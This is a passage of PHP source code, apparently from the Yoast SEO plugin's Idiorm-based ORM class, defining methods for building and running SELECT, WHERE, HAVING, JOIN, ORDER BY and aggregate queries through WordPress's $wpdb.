@var wpdb */ global $wpdb; $show_errors = $wpdb->show_errors; if ( \YoastSEO()->classes->get( Migration_Status::class )->get_error( 'free' ) ) { $wpdb->show_errors = false; } $parameters = \array_filter( $parameters, static function ( $parameter ) { return $parameter !== null; } ); if ( ! empty( $parameters ) ) { $query = $wpdb->prepare( $query, $parameters ); } $result = $wpdb->query( $query ); $wpdb->show_errors = $show_errors; return $result; } /* * --- INSTANCE METHODS --- */ /** * "Private" constructor; shouldn't be called directly. * Use the ORM::for_table factory method instead. * * @param string $table_name Table name. * @param array $data Data to populate table. */ protected function __construct( $table_name, $data = [] ) { $this->table_name = $table_name; $this->data = $data; } /** * Sets the name of the class which the wrapped methods should return instances of. * * @param string $class_name The classname to set. * * @return void */ public function set_class_name( $class_name ) { $this->class_name = $class_name; } /** * Creates a new, empty instance of the class. Used to add a new row to your database. May optionally be passed an * associative array of data to populate the instance. If so, all fields will be flagged as dirty so all will be * saved to the database when save() is called. * * @param array|null $data Data to populate table. * * @return bool|Model|ORM */ public function create( $data = null ) { $this->is_new = true; if ( ! \is_null( $data ) ) { $this->hydrate( $data )->force_all_dirty(); } return $this->create_model_instance( $this ); } /** * Specifies the ID column to use for this instance or array of instances only. * This overrides the id_column and id_column_overrides settings. * * This is mostly useful for libraries built on top of Idiorm, and will not normally be used in manually built * queries. If you don't know why you would want to use this, you should probably just ignore it. * * @param string $id_column The ID column. * * @return ORM */ public function use_id_column( $id_column ) { $this->instance_id_column = $id_column; return $this; } /** * Creates an ORM instance from the given row (an associative array of data fetched from the database). * * @param array $row A row from the database. * * @return bool|Model */ protected function create_instance_from_row( $row ) { $instance = self::for_table( $this->table_name ); $instance->use_id_column( $this->instance_id_column ); $instance->hydrate( $row ); return $this->create_model_instance( $instance ); } /** * Tells the ORM that you are expecting a single result back from your query, and execute it. Will return a single * instance of the ORM class, or false if no rows were returned. As a shortcut, you may supply an ID as a parameter * to this method. This will perform a primary key lookup on the table. * * @param int|null $id An (optional) ID. * * @return bool|Model */ public function find_one( $id = null ) { if ( ! \is_null( $id ) ) { $this->where_id_is( $id ); } $this->limit( 1 ); $rows = $this->run(); if ( empty( $rows ) ) { return false; } return $this->create_instance_from_row( $rows[0] ); } /** * Tells the ORM that you are expecting multiple results from your query, and execute it. Will return an array of * instances of the ORM class, or an empty array if no rows were returned. * * @return array */ public function find_many() { $rows = $this->run(); if ( $rows === false ) { return []; } return \array_map( [ $this, 'create_instance_from_row' ], $rows ); } /** * Creates an instance of the model class associated with this wrapper and populate it with the supplied Idiorm * instance. * * @param ORM $orm The ORM used by model. * * @return bool|Model Instance of the model class. */ protected function create_model_instance( $orm ) { if ( $orm === false ) { return false; } /** * An instance of Model is being made. * * @var Model $model */ $model = new $this->class_name(); $model->set_orm( $orm ); return $model; } /** * Tells the ORM that you are expecting multiple results from your query, and execute it. Will return an array, or * an empty array if no rows were returned. * * @return array The query results. */ public function find_array() { return $this->run(); } /** * Tells the ORM that you wish to execute a COUNT query. * * @param string $column The table column. * * @return float|int An integer representing the number of rows returned. */ public function count( $column = '*' ) { return $this->call_aggregate_db_function( __FUNCTION__, $column ); } /** * Tells the ORM that you wish to execute a MAX query. * * @param string $column The table column. * * @return float|int The max value of the chosen column. */ public function max( $column ) { return $this->call_aggregate_db_function( __FUNCTION__, $column ); } /** * Tells the ORM that you wish to execute a MIN query. * * @param string $column The table column. * * @return float|int The min value of the chosen column. */ public function min( $column ) { return $this->call_aggregate_db_function( __FUNCTION__, $column ); } /** * Tells the ORM that you wish to execute a AVG query. * * @param string $column The table column. * * @return float|int The average value of the chosen column. */ public function avg( $column ) { return $this->call_aggregate_db_function( __FUNCTION__, $column ); } /** * Tells the ORM that you wish to execute a SUM query. * * @param string $column The table column. * * @return float|int The sum of the chosen column. */ public function sum( $column ) { return $this->call_aggregate_db_function( __FUNCTION__, $column ); } /** * Returns the select query as SQL. * * @return string The select query in SQL. */ public function get_sql() { return $this->build_select(); } /** * Returns the update query as SQL. * * @return string The update query in SQL. */ public function get_update_sql() { return $this->build_update(); } /** * Executes an aggregate query on the current connection. * * @param string $sql_function The aggregate function to call eg. MIN, COUNT, etc. * @param string $column The column to execute the aggregate query against. * * @return int */ protected function call_aggregate_db_function( $sql_function, $column ) { $alias = \strtolower( $sql_function ); $sql_function = \strtoupper( $sql_function ); if ( $column !== '*' ) { $column = $this->quote_identifier( $column ); } $result_columns = $this->result_columns; $this->result_columns = []; $this->select_expr( "{$sql_function}({$column})", $alias ); $result = $this->find_one(); $this->result_columns = $result_columns; $return_value = 0; if ( $result !== false && isset( $result->{$alias} ) ) { if ( ! \is_numeric( $result->{$alias} ) ) { $return_value = $result->{$alias}; } // phpcs:ignore Universal.Operators.StrictComparisons -- Reason: This loose comparison seems intentional. elseif ( (int) $result->{$alias} == (float) $result->{$alias} ) { $return_value = (int) $result->{$alias}; } else { $return_value = (float) $result->{$alias}; } } return $return_value; } /** * Hydrates (populate) this instance of the class from an associative array of data. This will usually be called * only from inside the class, but it's public in case you need to call it directly. * * @param array $data Data to populate table. * * @return ORM */ public function hydrate( $data = [] ) { $this->data = $data; return $this; } /** * Forces the ORM to flag all the fields in the $data array as "dirty" and therefore update them when save() is * called. * * @return ORM */ public function force_all_dirty() { $this->dirty_fields = $this->data; return $this; } /** * Performs a raw query. The query can contain placeholders in either named or question mark style. If placeholders * are used, the parameters should be an array of values which will be bound to the placeholders in the query. * If this method is called, all other query building methods will be ignored. * * @param array $query The query. * @param array $parameters The parameters. Defaults to an empty array. * * @return ORM */ public function raw_query( $query, $parameters = [] ) { $this->is_raw_query = true; $this->raw_query = $query; $this->raw_parameters = $parameters; return $this; } /** * Adds an alias for the main table to be used in SELECT queries. * * @param string $alias The alias. * * @return ORM */ public function table_alias( $alias ) { $this->table_alias = $alias; return $this; } /** * Adds an unquoted expression to the set of columns returned by the SELECT query. Internal method. * * @param string $expr The expression. * @param string|null $alias The alias to return the expression as. Defaults to null. * * @return ORM */ protected function add_result_column( $expr, $alias = null ) { if ( ! \is_null( $alias ) ) { $expr .= ' AS ' . $this->quote_identifier( $alias ); } if ( $this->using_default_result_columns ) { $this->result_columns = [ $expr ]; $this->using_default_result_columns = false; } else { $this->result_columns[] = $expr; } return $this; } /** * Counts the number of columns that belong to the primary key and their value is null. * * @return int The amount of null columns. * * @throws Exception Primary key ID contains null value(s). * @throws Exception Primary key ID missing from row or is null. */ public function count_null_id_columns() { if ( \is_array( $this->get_id_column_name() ) ) { return \count( \array_filter( $this->id(), 'is_null' ) ); } else { return \is_null( $this->id() ) ? 1 : 0; } } /** * Adds a column to the list of columns returned by the SELECT query. * * @param string $column The column. Defaults to '*'. * @param string|null $alias The alias to return the column as. Defaults to null. * * @return ORM */ public function select( $column, $alias = null ) { $column = $this->quote_identifier( $column ); return $this->add_result_column( $column, $alias ); } /** * Adds an unquoted expression to the list of columns returned by the SELECT query. * * @param string $expr The expression. * @param string|null $alias The alias to return the column as. Defaults to null. * * @return ORM */ public function select_expr( $expr, $alias = null ) { return $this->add_result_column( $expr, $alias ); } /** * Adds columns to the list of columns returned by the SELECT query. * * This defaults to '*'. * Many columns can be supplied as either an array or as a list of parameters to the method. * Note that the alias must not be numeric - if you want a numeric alias then prepend it with some alpha chars. eg. * a1. * * @example select_many(array('column', 'column2', 'column3'), 'column4', 'column5'); * @example select_many(array('alias' => 'column', 'column2', 'alias2' => 'column3'), 'column4', 'column5'); * @example select_many('column', 'column2', 'column3'); * * @return ORM */ public function select_many() { $columns = \func_get_args(); if ( ! empty( $columns ) ) { $columns = $this->normalise_select_many_columns( $columns ); foreach ( $columns as $alias => $column ) { if ( \is_numeric( $alias ) ) { $alias = null; } $this->select( $column, $alias ); } } return $this; } /** * Adds an unquoted expression to the list of columns returned by the SELECT query. * * Many columns can be supplied as either an array or as a list of parameters to the method. * Note that the alias must not be numeric - if you want a numeric alias then prepend it with some alpha chars. eg. * a1 * * @example select_many_expr(array('alias' => 'column', 'column2', 'alias2' => 'column3'), 'column4', 'column5') * @example select_many_expr('column', 'column2', 'column3') * @example select_many_expr(array('column', 'column2', 'column3'), 'column4', 'column5') * * @return ORM */ public function select_many_expr() { $columns = \func_get_args(); if ( ! empty( $columns ) ) { $columns = $this->normalise_select_many_columns( $columns ); foreach ( $columns as $alias => $column ) { if ( \is_numeric( $alias ) ) { $alias = null; } $this->select_expr( $column, $alias ); } } return $this; } /** * Takes a column specification for the select many methods and convert it into a normalised array of columns and * aliases. * * It is designed to turn the following styles into a normalised array: * array(array('alias' => 'column', 'column2', 'alias2' => 'column3'), 'column4', 'column5')) * * @param array $columns The columns. * * @return array */ protected function normalise_select_many_columns( $columns ) { $return = []; foreach ( $columns as $column ) { if ( \is_array( $column ) ) { foreach ( $column as $key => $value ) { if ( ! \is_numeric( $key ) ) { $return[ $key ] = $value; } else { $return[] = $value; } } } else { $return[] = $column; } } return $return; } /** * Adds a DISTINCT keyword before the list of columns in the SELECT query. * * @return ORM */ public function distinct() { $this->distinct = true; return $this; } /** * Add a JOIN source to the query. Internal method. * * The join_operator should be one of INNER, LEFT OUTER, CROSS etc - this * will be prepended to JOIN. * * The table should be the name of the table to join to. * * The constraint may be either a string or an array with three elements. If it * is a string, it will be compiled into the query as-is, with no escaping. The * recommended way to supply the constraint is as an array with three elements: * * first_column, operator, second_column * * Example: array('user.id', '=', 'profile.user_id') * * will compile to * * ON `user`.`id` = `profile`.`user_id` * * The final (optional) argument specifies an alias for the joined table. * * @param string $join_operator The join_operator should be one of INNER, LEFT OUTER, CROSS etc - this will be * prepended to JOIN. * @param string $table The table should be the name of the table to join to. * @param string $constraint The constraint. * @param string|null $table_alias The alias for the joined table. Defaults to null. * * @return ORM */ protected function add_join_source( $join_operator, $table, $constraint, $table_alias = null ) { $join_operator = \trim( "{$join_operator} JOIN" ); $table = $this->quote_identifier( $table ); // Add table alias if present. if ( ! \is_null( $table_alias ) ) { $table_alias = $this->quote_identifier( $table_alias ); $table .= " {$table_alias}"; } // Build the constraint. if ( \is_array( $constraint ) ) { list( $first_column, $operator, $second_column ) = $constraint; $first_column = $this->quote_identifier( $first_column ); $second_column = $this->quote_identifier( $second_column ); $constraint = "{$first_column} {$operator} {$second_column}"; } $this->join_sources[] = "{$join_operator} {$table} ON {$constraint}"; return $this; } /** * Adds a RAW JOIN source to the query. * * @param string $table The table name. * @param string $constraint The constraint. * @param string $table_alias The table alias. * @param array $parameters The parameters. Defaults to an empty array. * * @return ORM */ public function raw_join( $table, $constraint, $table_alias, $parameters = [] ) { // Add table alias if present. if ( ! \is_null( $table_alias ) ) { $table_alias = $this->quote_identifier( $table_alias ); $table .= " {$table_alias}"; } $this->values = \array_merge( $this->values, $parameters ); // Build the constraint. if ( \is_array( $constraint ) ) { list( $first_column, $operator, $second_column ) = $constraint; $first_column = $this->quote_identifier( $first_column ); $second_column = $this->quote_identifier( $second_column ); $constraint = "{$first_column} {$operator} {$second_column}"; } $this->join_sources[] = "{$table} ON {$constraint}"; return $this; } /** * Adds a simple JOIN source to the query. * * @param string $table The table name. * @param string $constraint The constraint. * @param string|null $table_alias The table alias. Defaults to null. * * @return ORM */ public function join( $table, $constraint, $table_alias = null ) { return $this->add_join_source( '', $table, $constraint, $table_alias ); } /** * Adds an INNER JOIN source to the query. * * @param string $table The table name. * @param string $constraint The constraint. * @param string|null $table_alias The table alias. Defaults to null. * * @return ORM */ public function inner_join( $table, $constraint, $table_alias = null ) { return $this->add_join_source( 'INNER', $table, $constraint, $table_alias ); } /** * Adds a LEFT OUTER JOIN source to the query. * * @param string $table The table name. * @param string $constraint The constraint. * @param string|null $table_alias The table alias. Defaults to null. * * @return ORM */ public function left_outer_join( $table, $constraint, $table_alias = null ) { return $this->add_join_source( 'LEFT OUTER', $table, $constraint, $table_alias ); } /** * Adds a RIGHT OUTER JOIN source to the query. * * @param string $table The table name. * @param string $constraint The constraint. * @param string|null $table_alias The table alias. Defaults to null. * * @return ORM */ public function right_outer_join( $table, $constraint, $table_alias = null ) { return $this->add_join_source( 'RIGHT OUTER', $table, $constraint, $table_alias ); } /** * Adds a FULL OUTER JOIN source to the query. * * @param string $table The table name. * @param string $constraint The constraint. * @param string|null $table_alias The table alias. Defaults to null. * * @return ORM */ public function full_outer_join( $table, $constraint, $table_alias = null ) { return $this->add_join_source( 'FULL OUTER', $table, $constraint, $table_alias ); } /** * Adds a HAVING condition to the query. Internal method. * * @param string $fragment The fragment. * @param array $values The values. Defaults to an empty array. * * @return ORM */ protected function add_having( $fragment, $values = [] ) { return $this->add_condition( 'having', $fragment, $values ); } /** * Adds a HAVING condition to the query. Internal method. * * @param string $column_name The table column. * @param string $separator The separator. * @param mixed $value The value. * * @return ORM */ protected function add_simple_having( $column_name, $separator, $value ) { return $this->add_simple_condition( 'having', $column_name, $separator, $value ); } /** * Adds a HAVING clause with multiple values (like IN and NOT IN). Internal method. * * @param string|array $column_name The table column. * @param string $separator The separator. * @param array $values The values. * * @return ORM */ public function add_having_placeholder( $column_name, $separator, $values ) { if ( ! \is_array( $column_name ) ) { $data = [ $column_name => $values ]; } else { $data = $column_name; } $result = $this; foreach ( $data as $key => $val ) { $column = $result->quote_identifier( $key ); $placeholders = $result->create_placeholders( $val ); $result = $result->add_having( "{$column} {$separator} ({$placeholders})", $val ); } return $result; } /** * Adds a HAVING clause with no parameters(like IS NULL and IS NOT NULL). Internal method. * * @param string $column_name The column name. * @param string $operator The operator. * * @return ORM */ public function add_having_no_value( $column_name, $operator ) { $conditions = \is_array( $column_name ) ? $column_name : [ $column_name ]; $result = $this; foreach ( $conditions as $column ) { $column = $this->quote_identifier( $column ); $result = $result->add_having( "{$column} {$operator}" ); } return $result; } /** * Adds a WHERE condition to the query. Internal method. * * @param string $fragment The fragment. * @param array $values The values. Defaults to an empty array. * * @return ORM */ protected function add_where( $fragment, $values = [] ) { return $this->add_condition( 'where', $fragment, $values ); } /** * Adds a WHERE condition to the query. Internal method. * * @param string|array $column_name The table column. * @param string $separator The separator. * @param mixed $value The value. * * @return ORM */ protected function add_simple_where( $column_name, $separator, $value ) { return $this->add_simple_condition( 'where', $column_name, $separator, $value ); } /** * Adds a WHERE clause with multiple values (like IN and NOT IN). * * @param string|array $column_name The table column. * @param string $separator The separator. * @param array $values The values. * * @return ORM */ public function add_where_placeholder( $column_name, $separator, $values ) { if ( ! \is_array( $column_name ) ) { $data = [ $column_name => $values ]; } else { $data = $column_name; } $result = $this; foreach ( $data as $key => $val ) { $column = $result->quote_identifier( $key ); $placeholders = $result->create_placeholders( $val ); $result = $result->add_where( "{$column} {$separator} ({$placeholders})", $val ); } return $result; } /** * Adds a WHERE clause with no parameters(like IS NULL and IS NOT NULL). * * @param string $column_name The column name. * @param string $operator The operator. * * @return ORM */ public function add_where_no_value( $column_name, $operator ) { $conditions = \is_array( $column_name ) ? $column_name : [ $column_name ]; $result = $this; foreach ( $conditions as $column ) { $column = $this->quote_identifier( $column ); $result = $result->add_where( "{$column} {$operator}" ); } return $result; } /** * Adds a HAVING or WHERE condition to the query. Internal method. * * @param string $type The type. * @param string $fragment The fragment. * @param array $values The values. Defaults to empty array. * * @return ORM */ protected function add_condition( $type, $fragment, $values = [] ) { $conditions_class_property_name = "{$type}_conditions"; if ( ! \is_array( $values ) ) { $values = [ $values ]; } \array_push( $this->{$conditions_class_property_name}, [ self::CONDITION_FRAGMENT => $fragment, self::CONDITION_VALUES => $values, ] ); return $this; } /** * Compiles a simple COLUMN SEPARATOR VALUE style HAVING or WHERE condition into a string and value ready to be * passed to the add_condition method. * * Avoids duplication of the call to quote_identifier. * If column_name is an associative array, it will add a condition for each column. * * @param string $type The type. * @param string|array $column_name The table column. * @param string $separator The separator. * @param mixed $value The value. * * @return ORM */ protected function add_simple_condition( $type, $column_name, $separator, $value ) { $multiple = \is_array( $column_name ) ? $column_name : [ $column_name => $value ]; $result = $this; foreach ( $multiple as $key => $val ) { // Add the table name in case of ambiguous columns. if ( \count( $result->join_sources ) > 0 && \strpos( $key, '.' ) === false ) { $table = $result->table_name; if ( ! \is_null( $result->table_alias ) ) { $table = $result->table_alias; } $key = "{$table}.{$key}"; } $key = $result->quote_identifier( $key ); $placeholder = ( $val === null ) ? 'NULL' : '%s'; $result = $result->add_condition( $type, "{$key} {$separator} {$placeholder}", $val ); } return $result; } /** * Returns a string containing the given number of question marks, separated by commas. Eg "?, ?, ?". * * @param array $fields Fields to create placeholder for. * * @return string */ protected function create_placeholders( $fields ) { if ( ! empty( $fields ) ) { $db_fields = []; foreach ( $fields as $key => $value ) { // Process expression fields directly into the query. if ( \array_key_exists( $key, $this->expr_fields ) ) { $db_fields[] = $value; } else { $db_fields[] = ( $value === null ) ? 'NULL' : '%s'; } } return \implode( ', ', $db_fields ); } return ''; } /** * Filters a column/value array returning only those columns that belong to a compound primary key. * * If the key contains a column that does not exist in the given array, a null value will be returned for it. * * @param mixed $value The value. * * @return array */ protected function get_compound_id_column_values( $value ) { $filtered = []; foreach ( $this->get_id_column_name() as $key ) { $filtered[ $key ] = ( $value[ $key ] ?? null ); } return $filtered; } /** * Filters an array containing compound column/value arrays. * * @param array $values The values. * * @return array */ protected function get_compound_id_column_values_array( $values ) { $filtered = []; foreach ( $values as $value ) { $filtered[] = $this->get_compound_id_column_values( $value ); } return $filtered; } /** * Add a WHERE column = value clause to your query. Each time this is called in the chain, an additional WHERE will * be added, and these will be ANDed together when the final query is built. * * If you use an array in $column_name, a new clause will be added for each element. In this case, $value is * ignored. * * @param string|array $column_name The table column. * @param mixed|null $value The value. Defaults to null. * * @return ORM */ public function where( $column_name, $value = null ) { return $this->where_equal( $column_name, $value ); } /** * More explicitly named version of for the where() method. Can be used if preferred. * * @param string|array $column_name The table column. * @param mixed|null $value The value. Defaults to null. * * @return ORM */ public function where_equal( $column_name, $value = null ) { return $this->add_simple_where( $column_name, '=', $value ); } /** * Add a WHERE column != value clause to your query. * * @param string|array $column_name The table column. * @param mixed|null $value The value. Defaults to null. * * @return ORM */ public function where_not_equal( $column_name, $value = null ) { return $this->add_simple_where( $column_name, '!=', $value ); } /** * Queries the table by its primary key. Special method. * * If primary key is compound, only the columns that belong to they key will be used for the query. * * @param string $id The ID. * * @return ORM */ public function where_id_is( $id ) { return \is_array( $this->get_id_column_name() ) ? $this->where( $this->get_compound_id_column_values( $id ), null ) : $this->where( $this->get_id_column_name(), $id ); } /** * Allows adding a WHERE clause that matches any of the conditions specified in the array. Each element in the * associative array will be a different condition, where the key will be the column name. * * By default, an equal operator will be used against all columns, but it can be overriden for any or every column * using the second parameter. * * Each condition will be ORed together when added to the final query. * * @param array $values The values. * @param string $operator The operator. * * @return ORM */ public function where_any_is( $values, $operator = '=' ) { $data = []; $query = [ '((' ]; $first = true; foreach ( $values as $value ) { if ( $first ) { $first = false; } else { $query[] = ') OR ('; } $firstsub = true; foreach ( $value as $key => $item ) { $op = \is_string( $operator ) ? $operator : ( $operator[ $key ] ?? '=' ); if ( $op === '=' && $item === null ) { $op = 'IS'; } if ( $firstsub ) { $firstsub = false; } else { $query[] = 'AND'; } $query[] = $this->quote_identifier( $key ); $data[] = $item; $query[] = $op; $query[] = ( ( $item === null ) ? 'NULL' : '%s' ); } } $query[] = '))'; return $this->where_raw( \implode( ' ', $query ), $data ); } /** * Queries the table by its primary key. * * Similar to where_id_is() but allowing multiple primary keys. * If primary key is compound, only the columns that belong to they key will be used for the query. * * @param string[] $ids The IDs. * * @return ORM */ public function where_id_in( $ids ) { return \is_array( $this->get_id_column_name() ) ? $this->where_any_is( $this->get_compound_id_column_values_array( $ids ) ) : $this->where_in( $this->get_id_column_name(), $ids ); } /** * Adds a WHERE ... LIKE clause to your query. * * @param string|array $column_name The table column. * @param mixed|null $value The value. Defaults to null. * * @return ORM */ public function where_like( $column_name, $value = null ) { return $this->add_simple_where( $column_name, 'LIKE', $value ); } /** * Adds where WHERE ... NOT LIKE clause to your query. * * @param string|array $column_name The table column. * @param mixed|null $value The value. Defaults to null. * * @return ORM */ public function where_not_like( $column_name, $value = null ) { return $this->add_simple_where( $column_name, 'NOT LIKE', $value ); } /** * Adds a WHERE ... > clause to your query. * * @param string|array $column_name The table column. * @param mixed|null $value The value. Defaults to null. * * @return ORM */ public function where_gt( $column_name, $value = null ) { return $this->add_simple_where( $column_name, '>', $value ); } /** * Adds a WHERE ... < clause to your query. * * @param string|array $column_name The table column. * @param mixed|null $value The value. Defaults to null. * * @return ORM */ public function where_lt( $column_name, $value = null ) { return $this->add_simple_where( $column_name, '<', $value ); } /** * Adds a WHERE ... >= clause to your query. * * @param string|array $column_name The table column. * @param mixed|null $value The value. Defaults to null. * * @return ORM */ public function where_gte( $column_name, $value = null ) { return $this->add_simple_where( $column_name, '>=', $value ); } /** * Adds a WHERE ... <= clause to your query. * * @param string|array $column_name The table column. * @param mixed|null $value The value. Defaults to null. * * @return ORM */ public function where_lte( $column_name, $value = null ) { return $this->add_simple_where( $column_name, '<=', $value ); } /** * Adds a WHERE ... IN clause to your query. * * @param string|array $column_name The table column. * @param array $values The values. * * @return ORM */ public function where_in( $column_name, $values ) { return $this->add_where_placeholder( $column_name, 'IN', $values ); } /** * Adds a WHERE ... NOT IN clause to your query. * * @param string|array $column_name The table column. * @param array $values The values. * * @return ORM */ public function where_not_in( $column_name, $values ) { return $this->add_where_placeholder( $column_name, 'NOT IN', $values ); } /** * Adds a WHERE column IS NULL clause to your query. * * @param string|array $column_name The table column. * * @return ORM */ public function where_null( $column_name ) { return $this->add_where_no_value( $column_name, 'IS NULL' ); } /** * Adds a WHERE column IS NOT NULL clause to your query. * * @param string|array $column_name The table column. * * @return ORM */ public function where_not_null( $column_name ) { return $this->add_where_no_value( $column_name, 'IS NOT NULL' ); } /** * Adds a raw WHERE clause to the query. The clause should contain question mark placeholders, which will be bound * to the parameters supplied in the second argument. * * @param string $clause The clause that should contain question mark placeholders. * @param array $parameters The parameters to include in the query. * * @return ORM */ public function where_raw( $clause, $parameters = [] ) { return $this->add_where( $clause, $parameters ); } /** * Adds a LIMIT to the query. * * @param int $limit The limit. * * @return ORM */ public function limit( $limit ) { $this->limit = $limit; return $this; } /** * Adds an OFFSET to the query. * * @param int $offset The offset. * * @return ORM */ public function offset( $offset ) { $this->offset = $offset; return $this; } /** * Adds an ORDER BY clause to the query. * * @param string $column_name The column name. * @param string $ordering The ordering. DESC or ASC. * * @return ORM */ protected function add_order_by( $column_name, $ordering ) { $column_name = $this->quote_identifier( $column_name ); $this->order_by[] = "{$column_name} {$ordering}"; return $this; } /** * Adds an ORDER BY column DESC clause. * * @param string|array $column_name The table column. * * @return ORM */ public function order_by_desc( $column_name ) { return $this->add_order_by( $column_name, 'DESC' ); } /** * Adds an ORDER BY column ASC clause. * * @param string|array $column_name The table column. * * @return ORM */ public function order_by_asc( $column_name ) { return $this->add_order_by( $column_name, 'ASC' ); } /** * Adds an unquoted expression as an ORDER BY clause. * * @param string $clause The clause. * * @return ORM */ public function order_by_expr( $clause ) { $this->order_by[] = $clause; return $this; } /** * Adds a column to the list of columns to GROUP BY. * * @param string|array $column_name The table column. * * @return ORM */ public function group_by( $column_name ) { $column_name = $this->quote_identifier( $column_name ); $this->group_by[] = $column_name; return $this; } /** * Adds an unquoted expression to the list of columns to GROUP BY. * * @param string $expr The expression. * * @return ORM */ public function group_by_expr( $expr ) { $this->group_by[] = $expr; return $this; } /** * Adds a HAVING column = value clause to your query. * * Each time this is called in the chain, an additional HAVING will be added, and these will be ANDed together when * the final query is built. * * If you use an array in $column_name, a new clause will be added for each element. In this case, $value is * ignored. * * @param string|array $column_name The table column. * @param mixed|null $value The value. * * @return ORM */ public function having( $column_name, $value = null ) { return $this->having_equal( $column_name, $value ); } /** * Adds a having equal to your query. * * More explicitly named version of for the having() method. Can be used if preferred. * * @param string|array $column_name The table column. * @param mixed|null $value The value. * * @return ORM */ public function having_equal( $column_name, $value = null ) { return $this->add_simple_having( $column_name, '=', $value ); } /** * Adds a HAVING column != value clause to your query. * * @param string|array $column_name The table column. * @param mixed|null $value The value. * * @return ORM */ public function having_not_equal( $column_name, $value = null ) { return $this->add_simple_having( $column_name, '!=', $value ); } /** * Queries the table by its primary key. Special method. * * If primary key is compound, only the columns that belong to they key will be used for the query. * * @param string $id The ID. * * @return ORM */ public function having_id_is( $id ) { return \is_array( $this->get_id_column_name() ) ? $this->having( $this->get_compound_id_column_values( $id ), null ) : $this->having( $this->get_id_column_name(), $id ); } /** * Adds a HAVING ... LIKE clause to your query. * * @param string|array $column_name The table column. * @param string|null $value The value. * * @return ORM */ public function having_like( $column_name, $value = null ) { return $this->add_simple_having( $column_name, 'LIKE', $value ); } /** * Adds where HAVING ... NOT LIKE clause to your query. * * @param string|array $column_name The table column. * @param string|null $value The value. * * @return ORM */ public function having_not_like( $column_name, $value = null ) { return $this->add_simple_having( $column_name, 'NOT LIKE', $value ); } /** * Adds a HAVING ... > clause to your query. * * @param string|array $column_name The table column. * @param mixed $value The value. * * @return ORM */ public function having_gt( $column_name, $value = null ) { return $this->add_simple_having( $column_name, '>', $value ); } /** * Adds a HAVING ... < clause to your query. * * @param string|array $column_name The table column. * @param mixed $value The value. * * @return ORM */ public function having_lt( $column_name, $value = null ) { return $this->add_simple_having( $column_name, '<', $value ); } /** * Adds a HAVING ... >= clause to your query. * * @param string|array $column_name The table column. * @param mixed $value The value. Defaults to null. * * @return ORM */ public function having_gte( $column_name, $value = null ) { return $this->add_simple_having( $column_name, '>=', $value ); } /** * Adds a HAVING ... <= clause to your query. * * @param string|array $column_name The table column. * @param mixed $value The value. * * @return ORM */ public function having_lte( $column_name, $value = null ) { return $this->add_simple_having( $column_name, '<=', $value ); } /** * Adds a HAVING ... IN clause to your query. * * @param string|array $column_name The table column. * @param array|null $values The values. Defaults to null. * * @return ORM */ public function having_in( $column_name, $values = null ) { return $this->add_having_placeholder( $column_name, 'IN', $values ); } /** * Adds a HAVING ... NOT IN clause to your query. * * @param string|array $column_name The table column. * @param array|null $values The values. Defaults to null. * * @return ORM */ public function having_not_in( $column_name, $values = null ) { return $this->add_having_placeholder( $column_name, 'NOT IN', $values ); } /** * Adds a HAVING column IS NULL clause to your query. * * @param string|array $column_name The table column. * * @return ORM */ public function having_null( $column_name ) { return $this->add_having_no_value( $column_name, 'IS NULL' ); } /** * Adds a HAVING column IS NOT NULL clause to your query. * * @param string|array $column_name The table column. * * @return ORM */ public function having_not_null( $column_name ) { return $this->add_having_no_value( $column_name, 'IS NOT NULL' ); } /** * Adds a raw HAVING clause to the query. The clause should contain question mark placeholders, which will be bound * to the parameters supplied in the second argument. * * @param string $clause The clause that should contain question mark placeholders. * @param array $parameters The parameters to include in the query. * * @return ORM */ public function having_raw( $clause, $parameters = [] ) { return $this->add_having( $clause, $parameters ); } /** * Builds a SELECT statement based on the clauses that have been passed to this instance by chaining method calls. * * @return string */ protected function build_select() { // If the query is raw, just set the $this->values to be the raw query parameters and return the raw query. if ( $this->is_raw_query ) { $this->values = $this->raw_parameters; return $this->raw_query; } // Build and return the full SELECT statement by concatenating the results of calling each separate builder method. return $this->join_if_not_empty( ' ', [ $this->build_select_start(), $this->build_join(), $this->build_where(), $this->build_group_by(), $this->build_having(), $this->build_order_by(), $this->build_limit(), $this->build_offset(), ] ); } /** * Builds the start of the SELECT statement. * * @return string */ protected function build_select_start() { $fragment = 'SELECT '; $result_columns = \implode( ', ', $this->result_columns ); if ( $this->distinct ) { $result_columns = 'DISTINCT ' . $result_columns; } $fragment .= "{$result_columns} FROM " . $this->quote_identifier( $this->table_name ); if ( ! \is_null( $this->table_alias ) ) { $fragment .= ' ' . $this->quote_identifier( $this->table_alias ); } return $fragment; } /** * Builds the JOIN sources. * * @return string */ protected function build_join() { if ( \count( $this->join_sources ) === 0 ) { return ''; } return \implode( ' ', $this->join_sources ); } /** * Builds the WHERE clause(s). * * @return string */ protected function build_where() { return $this->build_conditions( 'where' ); } /** * Build the HAVING clause(s) * * @return string */ protected function build_having() { return $this->build_conditions( 'having' ); } /** * Builds GROUP BY. * * @return string */ protected function build_group_by() { if ( \count( $this->group_by ) === 0 ) { return ''; } return 'GROUP BY ' . \implode( ', ', $this->group_by ); } /** * Builds a WHERE or HAVING clause. * * @param string $type Where or having. * * @return string */ protected function build_conditions( $type ) { $conditions_class_property_name = "{$type}_conditions"; // If there are no clauses, return empty string. if ( \count( $this->{$conditions_class_property_name} ) === 0 ) { return ''; } $conditions = []; foreach ( $this->{$conditions_class_property_name} as $condition ) { $conditions[] = $condition[ self::CONDITION_FRAGMENT ]; $this->values = \array_merge( $this->values, $condition[ self::CONDITION_VALUES ] ); } return \strtoupper( $type ) . ' ' . \implode( ' AND ', $conditions ); } /** * Builds ORDER BY. * * @return string */ protected function build_order_by() { if ( \count( $this->order_by ) === 0 ) { return ''; } return 'ORDER BY ' . \implode( ', ', $this->order_by ); } /** * Builds LIMIT. * * @return string */ protected function build_limit() { if ( ! \is_null( $this->limit ) ) { return "LIMIT {$this->limit}"; } return ''; } /** * Builds OFFSET. * * @return string */ protected function build_offset() { if ( ! \is_null( $this->offset ) ) { return 'OFFSET ' . $this->offset; } return ''; } /** * Joins strings if they are not empty. * * @param string $glue Glue. * @param string[] $pieces Pieces to join. * * @return string */ protected function join_if_not_empty( $glue, $pieces ) { $filtered_pieces = []; foreach ( $pieces as $piece ) { if ( \is_string( $piece ) ) { $piece = \trim( $piece ); } if ( ! empty( $piece ) ) { $filtered_pieces[] = $piece; } } return \implode( $glue, $filtered_pieces ); } /** * Quotes a string that is used as an identifier (table names, column names etc). * This method can also deal with dot-separated identifiers eg table.column. * * @param string|string[] $identifier One or more identifiers. * * @return string */ protected function quote_one_identifier( $identifier ) { $parts = \explode( '.', $identifier ); $parts = \array_map( [ $this, 'quote_identifier_part' ], 